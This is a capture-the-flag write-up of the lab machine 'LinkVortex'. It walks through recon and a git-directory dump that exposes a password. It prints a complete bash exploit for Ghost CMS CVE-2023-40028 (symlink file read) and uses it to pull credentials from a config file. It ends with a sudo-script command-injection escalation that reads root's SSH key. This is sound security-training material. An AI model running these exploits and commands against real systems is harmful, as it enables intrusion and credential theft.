RECON
Port Scan
Quick full port scanning:
$ rustscan -a $ip --ulimit 1000 -r 1-65535 -- -A -sC
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMHm4UQPajtDjitK8Adg02NRYua67JghmS5m3E+yMq2gwZZJQ/3sIDezw2DVl9trh0gUedrzkqAAG1IMi17G/HA=
| 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKKLjX3ghPjmmBL2iV1RCQV9QELEU+NF06nbXTqqj4dz
80/tcp open http syn-ack Apache httpd
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelDomain: http://linkvortex.htb/
Subdomain
A company selling hardware, with a search bar in the web app:

Fuzz subdomains:
ffuf -c -u "http://linkvortex.htb" -H "HOST: FUZZ.linkvortex.htb" -w ~/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fc 301 -t 100
Subdomain: http://dev.linkvortex.htb
This website is clearly under development, exposing potential internal information:

Dirsearch
Path fuzzing for http://dev.linkvortex.htb:
dirsearch -t 50 -u "http://dev.linkvortex.htb"Severe git leak vulnerability identified:

BOB
Git Dump | Password
The accessible .git directory indicates that we can potentially retrieve the repository's content, using git-dumper as we introduced in the Trickster writeup. Dump the whole repository to our attack machine:
python git_dumper.py http://dev.linkvortex.htb/.git/ $workdir/linkvortex-repoApply Python virtual env to run:

We have dumped a project with tons of files:

The config file under .git points to the official Ghost CMS GitHub repository and fetch the specific tag v5.58.0 from the remote:

Try to enumerate credentials inside the dump, we found some plain-text password in authentication.test.js:

The file appears to be a test script for authentication functionality in the Ghost CMS admin API.
A list of credentials was discovered. The same file exists under the same path in the official Ghost repository (tag v5.58.0). Download it for comparison:
wget https://raw.githubusercontent.com/TryGhost/Ghost/v5.58.0/ghost/core/test/regression/api/admin/authentication.test.js -O authentication-official.test.jsUse the diff command to compare dumped file with the official one:
diff -u ./linkvortex-repo/ghost/core/test/regression/api/admin/authentication.test.js ./authentication-official.test.jsWe found a custom password (OctopiFociPilfer45), likely used during development or deployment on the target system:

Inspect it inside the source code:
it('complete setup', async function () {
const email = '[email protected]';
const password = 'OctopiFoc▒▒▒▒▒▒';
...Enum | Username
Using the discovered password, we can uncover valid usernames for the Ghost CMS. By examining the logs from the leaked GIT repository at http://dev.linkvortex.htb/.git/logs/HEAD:
0000000000000000000000000000000000000000 299cdb4387763f850887275a716153e84793077d root <[email protected]> 1730322603 +0000 clone: from https://github.com/TryGhost/Ghost.gitAn email [email protected] was found, matching the typical username format for Ghost CMS logins.
Additionally, by exploring the articles on the website, the author is identified as admin, likely the primary user of the CMS:

The URL http://linkvortex.htb/author/admin/ further confirms the existence of the admin user:

The email for the author is likely [email protected].
Ghost | CVE-2023-40028
Ghost CMS version 5.58.0 has multiple CVEs, including CVE-2023-40028, which allows authenticated users to upload symlinks, leading to arbitrary file read vulnerabilities. This issue was patched in version 5.59.1.
A Proof-of-Concept (PoC) exploit is available on GitHub, and it can be modified to suit our case:
#!/bin/bash
# Ghost Arbitrary File Read
# Version: BEFORE [ 5.59.1 ]
# CVE : CVE-2023-40028
#GHOST ENDPOINT
GHOST_URL='http://linkvortex.htb'
GHOST_API="$GHOST_URL/ghost/api/v3/admin/"
API_VERSION='v3.0'
PAYLOAD_PATH="`dirname $0`/exploit"
PAYLOAD_ZIP_NAME=exploit.zip
# Function to print usage
function usage() {
echo "Usage: $0 -u username -p password"
}
while getopts 'u:p:' flag; do
case "${flag}" in
u) USERNAME="${OPTARG}" ;;
p) PASSWORD="${OPTARG}" ;;
*) usage
exit ;;
esac
done
if [[ -z $USERNAME || -z $PASSWORD ]]; then
usage
exit
fi
function generate_exploit()
{
local FILE_TO_READ=$1
IMAGE_NAME=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
mkdir -p $PAYLOAD_PATH/content/images/2024/
ln -s $FILE_TO_READ $PAYLOAD_PATH/content/images/2024/$IMAGE_NAME.png
zip -r -y $PAYLOAD_ZIP_NAME $PAYLOAD_PATH/ &>/dev/null
}
function clean()
{
rm $PAYLOAD_PATH/content/images/2024/$IMAGE_NAME.png
rm -rf $PAYLOAD_PATH
rm $PAYLOAD_ZIP_NAME
}
#CREATE COOKIE
curl -c cookie.txt -d username=$USERNAME -d password=$PASSWORD \
-H "Origin: $GHOST_URL" \
-H "Accept-Version: v3.0" \
$GHOST_API/session/ &> /dev/null
if ! cat cookie.txt | grep -q ghost-admin-api-session;then
echo "[!] INVALID USERNAME OR PASSWORD"
rm cookie.txt
exit
fi
function send_exploit()
{
RES=$(curl -s -b cookie.txt \
-H "Accept: text/plain, */*; q=0.01" \
-H "Accept-Language: en-US,en;q=0.5" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "X-Ghost-Version: 5.58" \
-H "App-Pragma: no-cache" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: multipart/form-data" \
-X POST \
-H "Origin: $GHOST_URL" \
-H "Referer: $GHOST_URL/ghost/" \
-F "importfile=@`dirname $PAYLOAD_PATH`/$PAYLOAD_ZIP_NAME;type=application/zip" \
-H "form-data; name=\"importfile\"; filename=\"$PAYLOAD_ZIP_NAME\"" \
-H "Content-Type: application/zip" \
-J \
"$GHOST_URL/ghost/api/v3/admin/db")
if [ $? -ne 0 ];then
echo "[!] FAILED TO SEND THE EXPLOIT"
clean
exit
fi
}
echo "WELCOME TO THE CVE-2023-40028 SHELL"
while true; do
read -p "file> " INPUT
if [[ $INPUT == "exit" ]]; then
echo "Bye Bye !"
break
fi
if [[ $INPUT =~ \ ]]; then
echo "PLEASE ENTER FULL FILE PATH WITHOUT SPACE"
continue
fi
if [ -z $INPUT ]; then
echo "VALUE REQUIRED"
continue
fi
generate_exploit $INPUT
send_exploit
curl -b cookie.txt -s $GHOST_URL/content/images/2024/$IMAGE_NAME.png
clean
done
rm cookie.txtThe exploit uses a symlink attack by uploading a malicious ZIP file containing a symbolic link to a target file. Ghost CMS processes the uploaded ZIP file and resolves the symlink, exposing the contents of the target file.
Here's the workflow of POC:
- The
generate_exploitfunction:- Creates a directory for the payload:
PAYLOAD_PATH/content/images/2024/. - Generates a symlink that points to the target file (
FILE_TO_READ). - Adds the symlink to a ZIP file (
exploit.zip).
- Creates a directory for the payload:
- The
send_exploitfunction uploads the malicious ZIP file to the Ghost admin API's database import endpoint (/ghost/api/v3/admin/db) usingcurl. - Headers like
X-Ghost-Versionare included to ensure compatibility with the Ghost API.
- After the exploit is uploaded, the target file's content is accessible at:
$GHOST_URL/content/images/2024/$IMAGE_NAME.png. - The script retrieves the file content using a
curlrequest and displays it. - After the exploit, the script enters an interactive loop where the user can specify files to read.
Run the script and test with the credentials we found:
bash poc.sh -u '[email protected]' -p 'OctopiFo▒▒▒▒▒▒▒▒'We also identified a standard user node, likely representing the node.js runtime environment commonly used by Ghost CMS:

Ghost | Config
Now we have arbitrary file read capabilities in a Ghost CMS installation, deployed via Node.js, we can target specific paths like /var/lib/ghost/config.production.json which contains sensitive configuration data, according to the Ghost documentation.
For self-hosted Ghost users, a custom configuration file can be used to override Ghost’s default behaviour. This provides you with a range of options to configure your publication to suit your needs.
As a result:
file> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "[email protected]",
"pass": "fibber-▒▒▒▒▒▒-▒▒▒▒"
}
}
}
}Another set of credentials was found for the user bob. Testing these credentials for SSH access allowed us to compromise Bob’s account and retrieve the user flag:

ROOT
Sudo
Examining the network configuration reveals that Ghost CMS is running inside a Docker container. The node user corresponds to node.js, which is responsible for running the application:

Inspect sudo privilege for the current user Bob:
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.pngThis sudo privilege configuration allows Bob to execute the script /opt/ghost/clean_symlink.sh with bash as root, without requiring a password. However, the script only accepts files ending in *.png as arguments.
Read the clean_symlink.sh script:
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fiThis script is designed to process .png files, specifically symbolic links, and either quarantine them or remove them if they target sensitive directories like /etc or /root.
It defines 2 key variables:The script ensures that only .png files are processed.
QUAR_DIR="/var/quarantined":- The directory where symbolic links (
.pngfiles) are moved if they aren't pointing to critical paths.
- The directory where symbolic links (
CHECK_CONTENT=false:- If enabled (
true), the script attempts to display the content of the quarantined file usingcat. - It blindly evaluates the
CHECK_CONTENTvariable as a shell command without sanitization or validation.
- If enabled (
Key workflow:
- Links targeting
/etcor/rootare identified and removed. - The script follows symbolic links. This means we can trick the script into reading or moving sensitive files outside
/etcor/rootby pointing the link to non-critical paths. - For example, linking to
/var/log/syslogor/home/username/.ssh/id_rsawon't trigger removal but will move the file to/var/quarantined. - If
CHECK_CONTENTis set totrue, the script will display the content of the quarantined file:/usr/bin/cat $QUAR_DIR/$LINK_NAME.
This setup allows us to read files that would otherwise be inaccessible, as the script runs with root privileges. By leveraging the CHECK_CONTENT variable, we can escalate further to achieve arbitrary code execution as root.
Exploit
By default, the script will stop us from reading sensitive files:

We can exploit the script's logic flaw by creating a symlink pointing to another symlink that ends with .png to bypass the extension check:
ln -s /tmp/evil.png /tmp/good.pngThen, create the second symlink (/tmp/evil.png) pointing to anywhere:
ln -s /dev/null /tmp/evil.png- The first link (
/tmp/good.png) satisfies the.pngfile requirement. - The second link (
/tmp/evil.png) can point to anything. The purpose is only to satisfy the.pngfile extension check.
Now, simply set CHECK_CONTENT to execute /bin/cat /root/.ssh/id_rsa:
export CHECK_CONTENT='/bin/cat /root/.ssh/id_rsa'We can further enhance the exploit by making the second symlink point to our target file, such as
/root/.ssh/id_rsa. By settingCHECK_CONTENTtoTRUE, we achieve arbitrary file read. However, since we already have arbitrary code execution via the previous method, this provides an additional layer of exploitation flexibility.
Run the vulnerable script with the initial symbolic link (/tmp/good.png):
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/good.pngThe script moves /tmp/good.png to /var/quarantined/ (we don't actually care):

It executes CHECK_CONTENT, directly reading and printing /root/.ssh/id_rsa:

Root:






Comments | NOTHING